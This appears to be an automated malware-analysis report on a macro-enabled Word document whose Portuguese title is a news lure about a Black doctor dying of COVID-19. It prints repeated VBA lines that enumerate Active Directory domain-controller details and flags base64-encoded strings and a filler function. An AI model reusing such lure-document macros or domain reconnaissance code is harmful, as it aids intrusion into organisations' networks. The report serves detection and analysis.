Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Document contains an embedded VBA with base64 encoded stringsShow sources
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
